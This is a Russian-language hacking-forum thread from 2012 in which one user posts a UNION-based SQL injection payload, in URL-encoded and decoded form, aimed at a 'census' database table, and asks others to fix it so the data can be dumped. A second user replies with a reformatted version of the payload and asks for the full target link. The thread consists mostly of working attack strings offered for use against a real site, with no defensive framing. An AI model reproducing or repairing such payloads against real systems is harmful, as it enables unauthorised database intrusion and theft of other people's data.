Помогите сформировать запрос SQL

Discussion in 'Болталка' started by fasty, 24 Aug 2012.

  1. fasty

    fasty Member

    Joined:
    9 May 2008
    Messages:
    0
    Likes Received:
    6
    Reputations:
    -10
    выхватил с хави
    PHP:
     .php?id=999999.9%27+union+all+select+0x31303235343  830303536%2C%28select+concat%280x27%2C0x7e%2Carmy_  indianarmy1865_tblocrtext.sizex%2C0x5e%2Carmy_indi  anarmy1865_tblocrtext.DatasetName%2C0x27%2C0x7e%29  +from+%60census%60.army_indianarmy1865_tblocrtext+  limit+3%2C1%29+%2C0x31303235343830303536%2C0x31303  235343830303536%2C0x31303235343830303536+and+%27x%  27%3D%27x HTTP/1.1  
    после URL декода

    PHP:
     .php?id=999999.9' union all select 0x31303235343830303536,(select concat(0x27,0x7e,army_indianarmy1865_tblocrtext.si  zex,0x5e,army_indianarmy1865_tblocrtext.DatasetNam  e,0x27,0x7e) from `census`.army_indianarmy1865_tblocrtext limit 3,1) ,0x31303235343830303536,0x31303235343830303536,0x3  1303235343830303536 and 'x'='x HTTP/1.1  
    Напишите правильный запрос что б сдампить можно было,в этом деле не силен(
     
  2. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    423
    Likes Received:
    165
    Reputations:
    126
    .php?id=999999.9'+union+all+select+0x31303235343830303536,+(select+concat(0x27,0x7e,army_indianarmy1865_tblocrtext.sizex,0x5e,army_indianarmy1865_tblocrtext.DatasetName,0x27,0x7e)+from+`census`.army_indianarmy1865_tblocrtext+limit+3,1)+,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536+and+'x'='x
     
    _________________________
  3. fasty

    fasty Member

    Joined:
    9 May 2008
    Messages:
    0
    Likes Received:
    6
    Reputations:
    -10
    Не получается,пустое окно при вводе в браузере,нет никаких данных.При дампе через rsa ,ошибки только.
    Нужно может расшифровать весь запрос и так попытаться?

    .php?id=999999.9'+union+all+select+0x3130323534383 0303536,+(select+concat(0x27,0x7e,army_indianarmy1 865_tblocrtext.sizex,0x5e,army_indianarmy1865_tblo crtext.DatasetName,0x27,0x7e)+from+`census`.army_i ndianarmy1865_tblocrtext+limit+3,1)+,0x31303235343 830303536,0x31303235343830303536,0x313032353438303 03536+and+'x'='x
     
  4. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    423
    Likes Received:
    165
    Reputations:
    126
    Дай полную ссылку
     
    _________________________
Loading...